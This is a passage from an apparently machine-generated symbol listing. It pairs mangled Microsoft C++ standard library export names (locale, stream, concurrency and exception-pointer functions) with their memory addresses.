'?_Lockit_dtor@_Lockit@std@@CAXPEAV12@@Z', 'address': '0x7ffb3bb41dd0'}, {'type': 'function', 'name': '?_Lockit_dtor@_Lockit@std@@SAXH@Z', 'address': '0x7ffb3bb41df0'}, {'type': 'function', 'name': '?_LogCancelTask@_TaskEventLogger@details@Concurrency@@QEAAXXZ', 'address': '0x7ffb3bb081f0'}, {'type': 'function', 'name': '?_LogScheduleTask@_TaskEventLogger@details@Concurrency@@QEAAX_N@Z', 'address': '0x7ffb3bb081f0'}, {'type': 'function', 'name': '?_LogTaskCompleted@_TaskEventLogger@details@Concurrency@@QEAAXXZ', 'address': '0x7ffb3bb081f0'}, {'type': 'function', 'name': '?_LogTaskExecutionCompleted@_TaskEventLogger@details@Concurrency@@QEAAXXZ', 'address': '0x7ffb3bb081f0'}, {'type': 'function', 'name': '?_LogWorkItemCompleted@_TaskEventLogger@details@Concurrency@@QEAAXXZ', 'address': '0x7ffb3bb081f0'}, {'type': 'function', 'name': '?_LogWorkItemStarted@_TaskEventLogger@details@Concurrency@@QEAAXXZ', 'address': '0x7ffb3bb081f0'}, {'type': 'function', 'name': '?_MP_Add@std@@YAXQEA_K_K@Z', 'address': '0x7ffb3bb2bed0'}, {'type': 'function', 'name': '?_MP_Get@std@@YA_KQEA_K@Z', 'address': '0x7ffb3bb2bf10'}, {'type': 'function', 'name': '?_MP_Mul@std@@YAXQEA_K_K1@Z', 'address': '0x7ffb3bb2bf30'}, {'type': 'function', 'name': '?_MP_Rem@std@@YAXQEA_K_K@Z', 'address': '0x7ffb3bb2bfe0'}, {'type': 'function', 'name': '?_Makeloc@_Locimp@locale@std@@CAPEAV123@AEBV_Locinfo@3@HPEAV123@PEBV23@@Z', 'address': '0x7ffb3bb09730'}, {'type': 'function', 'name': '?_Makeushloc@_Locimp@locale@std@@CAXAEBV_Locinfo@3@HPEAV123@PEBV23@@Z', 'address': '0x7ffb3bb0c890'}, {'type': 'function', 'name': '?_Makewloc@_Locimp@locale@std@@CAXAEBV_Locinfo@3@HPEAV123@PEBV23@@Z', 'address': '0x7ffb3bb0aeb0'}, {'type': 'function', 'name': '?_Makexloc@_Locimp@locale@std@@CAXAEBV_Locinfo@3@HPEAV123@PEBV23@@Z', 'address': '0x7ffb3bb09f10'}, {'type': 'function', 'name': '?_Mtx_delete@threads@stdext@@YAXPEAX@Z', 'address': '0x7ffb3bb3d0f0'}, {'type': 'function', 'name': '?_Mtx_lock@threads@stdext@@YAXPEAX@Z', 'address': '0x7ffb3bb22100'}, {'type': 'function', 'name': '?_Mtx_new@threads@stdext@@YAXAEAPEAX@Z', 'address': '0x7ffb3bb3d120'}, {'type': 'function', 'name': '?_Mtx_unlock@threads@stdext@@YAXPEAX@Z', 'address': '0x7ffb3bb22110'}, {'type': 'function', 'name': '?_New_Locimp@_Locimp@locale@std@@CAPEAV123@AEBV123@@Z', 'address': '0x7ffb3bb08960'}, {'type': 'function', 'name': '?_New_Locimp@_Locimp@locale@std@@CAPEAV123@_N@Z', 'address': '0x7ffb3bb062d0'}, {'type': 'function', 'name': '?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAXXZ', 'address': '0x7ffb3bb04310'}, {'type': 'function', 'name': '?_Osfx@?$basic_ostream@GU?$char_traits@G@std@@@std@@QEAAXXZ', 'address': '0x7ffb3bb04310'}, {'type': 'function', 'name': '?_Osfx@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAXXZ', 'address': '0x7ffb3bb12ec0'}, {'type': 'function', 'name': '?_Pnavail@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEBA_JXZ', 'address': '0x7ffb3bb112e0'}, {'type': 'function', 'name': '?_Pnavail@?$basic_streambuf@GU?$char_traits@G@std@@@std@@IEBA_JXZ', 'address': '0x7ffb3bb0f5c0'}, {'type': 'function', 'name': '?_Pnavail@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@IEBA_JXZ', 'address': '0x7ffb3bb112e0'}, {'type': 'function', 'name': '?_Pninc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAAPEADXZ', 'address': '0x7ffb3bb05750'}, {'type': 'function', 'name': '?_Pninc@?$basic_streambuf@GU?$char_traits@G@std@@@std@@IEAAPEAGXZ', 'address': '0x7ffb3bb11300'}, {'type': 'function', 'name': '?_Pninc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@IEAAPEA_WXZ', 'address': '0x7ffb3bb11300'}, {'type': 'function', 'name': '?_Ptr_cerr@std@@3PEAV?$basic_ostream@DU?$char_traits@D@std@@@1@EA', 'address': '0x7ffb3bb93108'}, {'type': 'function', 'name': '?_Ptr_cin@std@@3PEAV?$basic_istream@DU?$char_traits@D@std@@@1@EA', 'address': '0x7ffb3bb93138'}, {'type': 'function', 'name': '?_Ptr_clog@std@@3PEAV?$basic_ostream@DU?$char_traits@D@std@@@1@EA', 'address': '0x7ffb3bb93110'}, {'type': 'function', 'name': '?_Ptr_cout@std@@3PEAV?$basic_ostream@DU?$char_traits@D@std@@@1@EA', 'address': '0x7ffb3bb93100'}, {'type': 'function', 'name': '?_Ptr_wcerr@std@@3PEAV?$basic_ostream@GU?$char_traits@G@std@@@1@EA', 'address': '0x7ffb3bb931b8'}, {'type': 'function', 'name': '?_Ptr_wcerr@std@@3PEAV?$basic_ostream@_WU?$char_traits@_W@std@@@1@EA', 'address': '0x7ffb3bb93130'}, {'type': 'function', 'name': '?_Ptr_wcin@std@@3PEAV?$basic_istream@GU?$char_traits@G@std@@@1@EA', 'address': '0x7ffb3bb931a0'}, {'type': 'function', 'name': '?_Ptr_wcin@std@@3PEAV?$basic_istream@_WU?$char_traits@_W@std@@@1@EA', 'address': '0x7ffb3bb93118'}, {'type': 'function', 'name': '?_Ptr_wclog@std@@3PEAV?$basic_ostream@GU?$char_traits@G@std@@@1@EA', 'address': '0x7ffb3bb931b0'}, {'type': 'function', 'name': '?_Ptr_wclog@std@@3PEAV?$basic_ostream@_WU?$char_traits@_W@std@@@1@EA', 'address': '0x7ffb3bb93128'}, {'type': 'function', 'name': '?_Ptr_wcout@std@@3PEAV?$basic_ostream@GU?$char_traits@G@std@@@1@EA', 'address': '0x7ffb3bb931a8'}, {'type': 'function', 'name': '?_Ptr_wcout@std@@3PEAV?$basic_ostream@_WU?$char_traits@_W@std@@@1@EA', 'address': '0x7ffb3bb93120'}, {'type': 'function', 'name': '?_Put@?$num_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@AEBA?AV?$ostreambuf_iterator@DU?$char_traits@D@std@@@2@V32@PEBD_K@Z', 'address': '0x7ffb3bb05590'}, {'type': 'function', 'name': '?_Put@?$num_put@GV?$ostreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@AEBA?AV?$ostreambuf_iterator@GU?$char_traits@G@std@@@2@V32@PEBG_K@Z', 'address': '0x7ffb3bb36510'}, {'type': 'function', 'name': '?_Put@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@AEBA?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@PEB_W_K@Z', 'address': '0x7ffb3bb11110'}, {'type': 'function', 'name': '?_Raise_handler@std@@3P6AXAEBVexception@stdext@@@ZEA', 'address': '0x7ffb3bb94530'}, {'type': 'function', 'name': '?_Random_device@std@@YAIXZ', 'address': '0x7ffb3bb14230'}, {'type': 'function', 'name': '?_Release_chore@details@Concurrency@@YAXPEAU_Threadpool_chore@12@@Z', 'address': '0x7ffb3bb10640'}, {'type': 'function', 'name': '?_Rep@?$num_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@AEBA?AV?$ostreambuf_iterator@DU?$char_traits@D@std@@@2@V32@D_K@Z', 'address': '0x7ffb3bb05540'}, {'type': 'function', 'name': '?_Rep@?$num_put@GV?$ostreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@AEBA?AV?$ostreambuf_iterator@GU?$char_traits@G@std@@@2@V32@G_K@Z', 'address': '0x7ffb3bb373a0'}, {'type': 'function', 'name': '?_Rep@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@AEBA?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@_W_K@Z', 'address': '0x7ffb3bb11320'}, {'type': 'function', 'name': '?_ReportUnobservedException@details@Concurrency@@YAXXZ', 'address': '0x7ffb3bb436d0'}, {'type': 'function', 'name': '?_Reschedule_chore@details@Concurrency@@YAHPEBU_Threadpool_chore@12@@Z', 'address': '0x7ffb3bb100a0'}, {'type': 'function', 'name': '?_Reset@_ContextCallback@details@Concurrency@@AEAAXXZ', 'address': '0x7ffb3bb103e0'}, {'type': 'function', 'name': '?_Rethrow_future_exception@std@@YAXVexception_ptr@1@@Z', 'address': '0x7ffb3bb29700'}, {'type': 'function', 'name': '?_Rng_abort@std@@YAXPEBD@Z', 'address': '0x7ffb3bb421e0'}, {'type': 'function', 'name': '?_Schedule_chore@details@Concurrency@@YAHPEAU_Threadpool_chore@12@@Z', 'address': '0x7ffb3bb0fff0'}, {'type': 'function', 'name': '?_Setgloballocale@locale@std@@CAXPEAX@Z', 'address': '0x7ffb3bb06240'}, {'type': 'function', 'name': '?_Src@?1??_Getffld@?$num_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@AEBAHPEADAEAV?$istreambuf_iterator@DU?$char_traits@D@std@@@3@1AEAVios_base@3@PEAH@Z@4QBDB', 'address': '0x7ffb3bb590f0'}, {'type': 'function', 'name': '?_Src@?1??_Getffld@?$num_get@GV?$istreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@AEBAHPEADAEAV?$istreambuf_iterator@GU?$char_traits@G@std@@@3@1AEAVios_base@3@PEAH@Z@4QBDB', 'address': '0x7ffb3bb62e28'}, {'type': 'function', 'name': '?_Src@?1??_Getffld@?$num_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@AEBAHPEADAEAV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@3@1AEAVios_base@3@PEAH@Z@4QBDB', 'address': '0x7ffb3bb62e28'}, {'type': 'function', 'name': '?_Src@?1??_Getffldx@?$num_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@AEBAHPEADAEAV?$istreambuf_iterator@DU?$char_traits@D@std@@@3@1AEAVios_base@3@PEAH@Z@4QBDB', 'address': '0x7ffb3bb62450'}, {'type': 'function', 'name': '?_Src@?1??_Getffldx@?$num_get@GV?$istreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@AEBAHPEADAEAV?$istreambuf_iterator@GU?$char_traits@G@std@@@3@1AEAVios_base@3@PEAH@Z@4QBDB', 'address': '0x7ffb3bb62450'}, {'type': 'function', 'name': '?_Src@?1??_Getffldx@?$num_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@AEBAHPEADAEAV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@3@1AEAVios_base@3@PEAH@Z@4QBDB', 'address': '0x7ffb3bb62450'}, {'type': 'function', 'name': '?_Src@?1??_Getifld@?$num_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@AEBAHPEADAEAV?$istreambuf_iterator@DU?$char_traits@D@std@@@3@1HAEBVlocale@3@@Z@4QBDB', 'address': '0x7ffb3bb59140'}, {'type': 'function', 'name': '?_Src@?1??_Getifld@?$num_get@GV?$istreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@AEBAHPEADAEAV?$istreambuf_iterator@GU?$char_traits@G@std@@@3@1HAEBVlocale@3@@Z@4QBDB', 'address': '0x7ffb3bb59140'}, {'type': 'function', 'name': '?_Src@?1??_Getifld@?$num_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@AEBAHPEADAEAV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@3@1HAEBVlocale@3@@Z@4QBDB', 'address': '0x7ffb3bb59140'}, {'type': 'function', 'name': '?_Sync@ios_base@std@@0_NA', 'address': '0x7ffb3bb92a10'}, {'type': 'function', 'name': '?_Syserror_map@std@@YAPEBDH@Z', 'address': '0x7ffb3bb2c430'}, {'type': 'function', 'name': '?_Throw_C_error@std@@YAXH@Z', 'address': '0x7ffb3bb2c660'}, {'type': 'function', 'name': '?_Throw_Cpp_error@std@@YAXH@Z', 'address': '0x7ffb3bb2c6b0'}, {'type': 'function', 'name': '?_Throw_future_error@std@@YAXAEBVerror_code@1@@Z', 'address': '0x7ffb3bb29750'}, {'type': 'function', 'name': '?_Tidy@?$_Yarn@D@std@@AEAAXXZ', 'address': '0x7ffb3bb084c0'}, {'type': 'function', 'name': '?_Tidy@?$_Yarn@G@std@@AEAAXXZ', 'address': '0x7ffb3bb4f540'}, {'type': 'function', 'name': '?_Tidy@?$_Yarn@_W@std@@AEAAXXZ', 'address': '0x7ffb3bb084c0'}, {'type': 'function', 'name': '?_Tidy@?$ctype@D@std@@IEAAXXZ', 'address': '0x7ffb3bb26d60'}, {'type': 'function', 'name': '?_Tidy@?$time_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@AEAAXXZ', 'address': '0x7ffb3bb37440'}, {'type': 'function', 'name': '?_Tidy@?$time_get@GV?$istreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@AEAAXXZ', 'address': '0x7ffb3bb37440'}, {'type': 'function', 'name': '?_Tidy@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@AEAAXXZ', 'address': '0x7ffb3bb37440'}, {'type': 'function', 'name': '?_Tidy@ios_base@std@@AEAAXXZ', 'address': '0x7ffb3bb26da0'}, {'type': 'function', 'name': '?_Unlock@?$basic_streambuf@DU?$char_traits@D@std@@@std@@UEAAXXZ', 'address': '0x7ffb3bb081f0'}, {'type': 'function', 'name': '?_Unlock@?$basic_streambuf@GU?$char_traits@G@std@@@std@@UEAAXXZ', 'address': '0x7ffb3bb081f0'}, {'type': 'function', 'name': '?_Unlock@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@UEAAXXZ', 'address': '0x7ffb3bb081f0'}, {'type': 'function', 'name': '?_W_Getdays@_Locinfo@std@@QEBAPEBGXZ', 'address': '0x7ffb3bb26e20'}, {'type': 'function', 'name': '?_W_Getmonths@_Locinfo@std@@QEBAPEBGXZ', 'address': '0x7ffb3bb26e80'}, {'type': 'function', 'name': '?_W_Gettnames@_Locinfo@std@@QEBA?AV_Timevec@2@XZ', 'address': '0x7ffb3bb26ee0'}, {'type': 'function', 'name': '?_Winerror_map@std@@YAHH@Z', 'address': '0x7ffb3bb2c460'}, {'type': 'function', 'name': '?_Winerror_message@std@@YAKKPEADK@Z', 'address': '0x7ffb3bb2c490'}, {'type': 'function', 'name': '?_XGetLastError@std@@YAXXZ', 'address': '0x7ffb3bb41eb0'}, {'type': 'function', 'name': '?_XLgamma@std@@YAMM@Z', 'address': '0x7ffb3bb3d160'}, {'type': 'function', 'name': '?_XLgamma@std@@YANN@Z', 'address': '0x7ffb3bb3d210'}, {'type': 'function', 'name': '?_XLgamma@std@@YAOO@Z', 'address': '0x7ffb3bb3d210'}, {'type': 'function', 'name': '?_Xbad_alloc@std@@YAXXZ', 'address': '0x7ffb3bb424f0'}, {'type': 'function', 'name': '?_Xbad_function_call@std@@YAXXZ', 'address': '0x7ffb3bb42530'}, {'type': 'function', 'name': '?_Xinvalid_argument@std@@YAXPEBD@Z', 'address': '0x7ffb3bb42560'}, {'type': 'function', 'name': '?_Xlength_error@std@@YAXPEBD@Z', 'address': '0x7ffb3bb425c0'}, {'type': 'function', 'name': '?_Xout_of_range@std@@YAXPEBD@Z', 'address': '0x7ffb3bb42620'}, {'type': 'function', 'name': '?_Xoverflow_error@std@@YAXPEBD@Z', 'address': '0x7ffb3bb42680'}, {'type': 'function', 'name': '?_Xregex_error@std@@YAXW4error_type@regex_constants@1@@Z', 'address': '0x7ffb3bb426e0'}, {'type': 'function', 'name': '?_Xruntime_error@std@@YAXPEBD@Z', 'address': '0x7ffb3bb42750'}, {'type': 'function', 'name': '?__ExceptionPtrAssign@@YAXPEAXPEBX@Z', 'address': '0x7ffb3bb43230'}, {'type': 'function', 'name': '?__ExceptionPtrCompare@@YA_NPEBX0@Z', 'address': '0x7ffb3bb432a0'}, {'type': 'function', 'name': '?__ExceptionPtrCopy@@YAXPEAXPEBX@Z', 'address': '0x7ffb3bb432b0'}, {'type': 'function', 'name': '?__ExceptionPtrCopyException@@YAXPEAXPEBX1@Z', 'address': '0x7ffb3bb432e0'}, {'type': 'function', 'name': '?__ExceptionPtrCreate@@YAXPEAX@Z', 'address': '0x7ffb3bb106e0'}, {'type': 'function', 'name': '?__ExceptionPtrCurrentException@@YAXPEAX@Z', 'address': '0x7ffb3bb433b0'}, {'type': 'function', 'name': '?__ExceptionPtrDestroy@@YAXPEAX@Z', 'address': '0x7ffb3bb10110'}, {'type': 'function', 'name': '?__ExceptionPtrRethrow@@YAXPEBX@Z', 'address': '0x7ffb3bb43440'}, {'type': 'function', 'name': '?__ExceptionPtrSwap@@YAXPEAX0@Z', 'address': '0x7ffb3bb43460'}, {'type': 'function', 'name': '?__ExceptionPtrToBool@@YA_NPEBX@Z', 'address': '0x7ffb3bb109e0'}, {'type': 'function', 'name': '?always_noconv@codecvt_base@std@@QEBA_NXZ', 'address': '0x7ffb3bb10790'}, {'type': 'function', 'name': '?bad@ios_base@std@@QEBA_NXZ', 'address': '0x7ffb3bb27060'}, {'type': 'function', 'name': '?c_str@?$_Yarn@D@std@@QEBAPEBDXZ', 'address': '0x7ffb3bb10b00'}, {'type': 'function', 'name': '?c_str@?$_Yarn@G@std@@QEBAPEBGXZ', 'address': '0x7ffb3bb267c0'}, {'type': 'function', 'name': '?c_str@?$_Yarn@_W@std@@QEBAPEB_WXZ', 'address': '0x7ffb3bb267c0'}, {'type': 'function', 'name': '?cerr@std@@3V?$basic_ostream@DU?$char_traits@D@std@@@1@A', 'address': '0x7ffb3bb93590'}, {'type': 'function', 'name': '?cin@std@@3V?$basic_istream@DU?$char_traits@D@std@@@1@A', 'address': '0x7ffb3bb93740'}, {'type': 'function', 'name': '?classic@locale@std@@SAAEBV12@XZ', 'address': '0x7ffb3bb02cd0'}, {'type': 'function', 'name': '?classic_table@?$ctype@D@std@@SAPEBFXZ', 'address': '0x7ffb3bb27070'}, {'type': 'function', 'name': '?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QEAAXH_N@Z', 'address': '0x7ffb3bb10c40'}, {'type': 'function', 'name': '?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QEAAXI@Z', 'address': '0x7ffb3bb4f570'}, {'type': 'function', 'name': '?clear@?$basic_ios@GU?$char_traits@G@std@@@std@@QEAAXH_N@Z', 'address': '0x7ffb3bb10c40'}, {'type': 'function', 'name': '?clear@?$basic_ios@GU?$char_traits@G@std@@@std@@QEAAXI@Z', 'address': '0x7ffb3bb4f570'}, {'type': 'function', 'name': '?clear@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QEAAXH_N@Z', 'address': '0x7ffb3bb10c40'}, {'type': 'function', 'name': '?clear@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QEAAXI@Z', 'address': '0x7ffb3bb4f570'}, {'type': 'function', 'name': '?clear@ios_base@std@@QEAAXH@Z', 'address': '0x7ffb3bb270b0'}, {'type': 'function', 'name': '?clear@ios_base@std@@QEAAXH_N@Z', 'address': '0x7ffb3bb07800'}, {'type': 'function', 'name': '?clear@ios_base@std@@QEAAXI@Z', 'address': '0x7ffb3bb270b0'}, {'type': 'function', 'name': '?clog@std@@3V?$basic_ostream@DU?$char_traits@D@std@@@1@A', 'address': '0x7ffb3bb93860'}, {'type': 'function', 'name': '?copyfmt@?$basic_ios@DU?$char_traits@D@std@@@std@@QEAAAEAV12@AEBV12@@Z', 'address': '0x7ffb3bb4f590'}, {'type': 'function', 'name': '?copyfmt@?$basic_ios@GU?$char_traits@G@std@@@std@@QEAAAEAV12@AEBV12@@Z', 'address': '0x7ffb3bb4f5c0'}, {'type': 'function', 'name': '?copyfmt@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QEAAAEAV12@AEBV12@@Z', 'address': '0x7ffb3bb4f5c0'}, {'type': 'function', 'name': '?copyfmt@ios_base@std@@QEAAAEAV12@AEBV12@@Z', 'address': '0x7ffb3bb27120'}, {'type': 'function', 'name': '?cout@std@@3V?$basic_ostream@DU?$char_traits@D@std@@@1@A', 'address': '0x7ffb3bb93480'}, {'type': 'function', 'name': '?date_order@?$time_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@QEBA?AW4dateorder@time_base@2@XZ', 'address': '0x7ffb3bb10790'}, {'type': 'function', 'name': '?date_order@?$time_get@GV?$istreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@QEBA?AW4dateorder@time_base@2@XZ', 'address': '0x7ffb3bb10790'}, {'type': 'function', 'name': '?date_order@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QEBA?AW4dateorder@time_base@2@XZ', 'address': '0x7ffb3bb10790'}, {'type': 'function', 'name': '?do_always_noconv@?$codecvt@DDU_Mbstatet@@@std@@MEBA_NXZ', 'address': '0x7ffb3bb10c60'}, {'type': 'function', 'name': '?do_always_noconv@?$codecvt@GDU_Mbstatet@@@std@@MEBA_NXZ', 'address': '0x7ffb3bb134b0'}, {'type': 'function', 'name': '?do_always_noconv@?$codecvt@_SDU_Mbstatet@@@std@@MEBA_NXZ', 'address': '0x7ffb3bb134b0'}, {'type': 'function', 'name': '?do_always_noconv@?$codecvt@_UDU_Mbstatet@@@std@@MEBA_NXZ', 'address': '0x7ffb3bb134b0'}, {'type': 'function', 'name': '?do_always_noconv@?$codecvt@_WDU_Mbstatet@@@std@@MEBA_NXZ', 'address': '0x7ffb3bb134b0'}, {'type': 'function', 'name': '?do_always_noconv@codecvt_base@std@@MEBA_NXZ', 'address': '0x7ffb3bb134b0'}, {'type': 'function', 'name': '?do_date_order@?$time_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@MEBA?AW4dateorder@time_base@2@XZ', 'address': '0x7ffb3bb375e0'}, {'type': 'function', 'name': '?do_date_order@?$time_get@GV?$istreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@MEBA?AW4dateorder@time_base@2@XZ', 'address': '0x7ffb3bb375e0'}, {'type': 'function', 'name': '?do_date_order@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@MEBA?AW4dateorder@time_base@2@XZ', 'address': '0x7ffb3bb375e0'}, {'type': 'function', 'name': '?do_encoding@?$codecvt@GDU_Mbstatet@@@std@@MEBAHXZ', 'address': '0x7ffb3bb27200'}, {'type': 'function', 'name': '?do_encoding@?$codecvt@_SDU_Mbstatet@@@std@@MEBAHXZ', 'address': '0x7ffb3bb02ee0'}, {'type': 'function', 'name': '?do_encoding@?$codecvt@_UDU_Mbstatet@@@std@@MEBAHXZ', 'address': '0x7ffb3bb27210'}, {'type': 'function', 'name': '?do_encoding@?$codecvt@_WDU_Mbstatet@@@std@@MEBAHXZ', 'address': '0x7ffb3bb27200'}, {'type': 'function', 'name': '?do_encoding@codecvt_base@std@@MEBAHXZ', 'address': '0x7ffb3bb16130'}, {'type': 'function', 'name': '?do_get@?$num_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@MEBA?AV?$istreambuf_iterator@DU?$char_traits@D@std@@@2@V32@0AEAVios_base@2@AEAHAEAG@Z', 'address': '0x7ffb3bb2ac40'}, {'type': 'function', 'name': '?do_get@?$num_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@MEBA?AV?$istreambuf_iterator@DU?$char_traits@D@std@@@2@V32@0AEAVios_base@2@AEAHAEAI@Z', 'address': '0x7ffb3bb02c20'}, {'type': 'function', 'name': '?do_get@?$num_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@MEBA?AV?$istreambuf_iterator@DU?$char_traits@D@std@@@2@V32@0AEAVios_base@2@AEAHAEAJ@Z', 'address': '0x7ffb3bb02af0'}, {'type': 'function', 'name': '?do_get@?$num_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@MEBA?AV?$istreambuf_iterator@DU?$char_traits@D@std@@@2@V32@0AEAVios_base@2@AEAHAEAK@Z', 'address': '0x7ffb3bb03dc0'}, {'type': 'function', 'name': '?do_get@?$num_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@MEBA?AV?$istreambuf_iterator@DU?$char_traits@D@std@@@2@V32@0AEAVios_base@2@AEAHAEAM@Z', 'address': '0x7ffb3bb019d0'}, {'type': 'function', 'name': '?do_get@?$num_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@MEBA?AV?$istreambuf_iterator@DU?$char_traits@D@std@@@2@V32@0AEAVios_base@2@AEAHAEAN@Z', 'address': '0x7ffb3bb2adc0'}, {'type': 'function', 'name': '?do_get@?$num_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@MEBA?AV?$istreambuf_iterator@DU?$char_traits@D@std@@@2@V32@0AEAVios_base@2@AEAHAEAO@Z', 'address': '0x7ffb3bb2af00'}, {'type': 'function', 'name': '?do_get@?$num_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@MEBA?AV?$istreambuf_iterator@DU?$char_traits@D@std@@@2@V32@0AEAVios_base@2@AEAHAEAPEAX@Z', 'address': '0x7ffb3bb2af90'}, {'type': 'function', 'name': '?do_get@?$num_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@MEBA?AV?$istreambuf_iterator@DU?$char_traits@D@std@@@2@V32@0AEAVios_base@2@AEAHAEA_J@Z', 'address': '0x7ffb3bb2b0d0'}, {'type': 'function', 'name': '?do_get@?$num_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@MEBA?AV?$istreambuf_iterator@DU?$char_traits@D@std@@@2@V32@0AEAVios_base@2@AEAHAEA_K@Z', 'address': '0x7ffb3bb2b210'}, {'type': 'function', 'name': '?do_get@?$num_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@MEBA?AV?$istreambuf_iterator@DU?$char_traits@D@std@@@2@V32@0AEAVios_base@2@AEAHAEA_N@Z', 'address': '0x7ffb3bb2b350'}, {'type': 'function', 'name': '?do_get@?$num_get@GV?$istreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@MEBA?AV?$istreambuf_iterator@GU?$char_traits@G@std@@@2@V32@0AEAVios_base@2@AEAHAEAG@Z', 'address': '0x7ffb3bb37b80'}, {'type': 'function', 'name': '?do_get@?$num_get@GV?$istreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@MEBA?AV?$istreambuf_iterator@GU?$char_traits@G@std@@@2@V32@0AEAVios_base@2@AEAHAEAI@Z', 'address': '0x7ffb3bb12740'}, {'type': 'function', 'name': '?do_get@?$num_get@GV?$istreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@MEBA?AV?$istreambuf_iterator@GU?$char_traits@G@std@@@2@V32@0AEAVios_base@2@AEAHAEAJ@Z', 'address': '0x7ffb3bb37d00'}, {'type': 'function', 'name': '?do_get@?$num_get@GV?$istreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@MEBA?AV?$istreambuf_iterator@GU?$char_traits@G@std@@@2@V32@0AEAVios_base@2@AEAHAEAK@Z', 'address': '0x7ffb3bb127d0'}, {'type': 'function', 'name': '?do_get@?$num_get@GV?$istreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@MEBA?AV?$istreambuf_iterator@GU?$char_traits@G@std@@@2@V32@0AEAVios_base@2@AEAHAEAM@Z', 'address': '0x7ffb3bb37e40'}, {'type': 'function', 'name': '?do_get@?$num_get@GV?$istreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@MEBA?AV?$istreambuf_iterator@GU?$char_traits@G@std@@@2@V32@0AEAVios_base@2@AEAHAEAN@Z', 'address': '0x7ffb3bb37f80'}, {'type': 'function', 'name': '?do_get@?$num_get@GV?$istreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@MEBA?AV?$istreambuf_iterator@GU?$char_traits@G@std@@@2@V32@0AEAVios_base@2@AEAHAEAO@Z', 'address': '0x7ffb3bb380c0'}, {'type': 'function', 'name': '?do_get@?$num_get@GV?$istreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@MEBA?AV?$istreambuf_iterator@GU?$char_traits@G@std@@@2@V32@0AEAVios_base@2@AEAHAEAPEAX@Z', 'address': '0x7ffb3bb38150'}, {'type': 'function', 'name': '?do_get@?$num_get@GV?$istreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@MEBA?AV?$istreambuf_iterator@GU?$char_traits@G@std@@@2@V32@0AEAVios_base@2@AEAHAEA_J@Z', 'address': '0x7ffb3bb38290'}, {'type': 'function', 'name': '?do_get@?$num_get@GV?$istreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@MEBA?AV?$istreambuf_iterator@GU?$char_traits@G@std@@@2@V32@0AEAVios_base@2@AEAHAEA_K@Z', 'address': '0x7ffb3bb383d0'}, {'type': 'function', 'name': '?do_get@?$num_get@GV?$istreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@MEBA?AV?$istreambuf_iterator@GU?$char_traits@G@std@@@2@V32@0AEAVios_base@2@AEAHAEA_N@Z', 'address': '0x7ffb3bb38510'}, {'type': 'function', 'name': 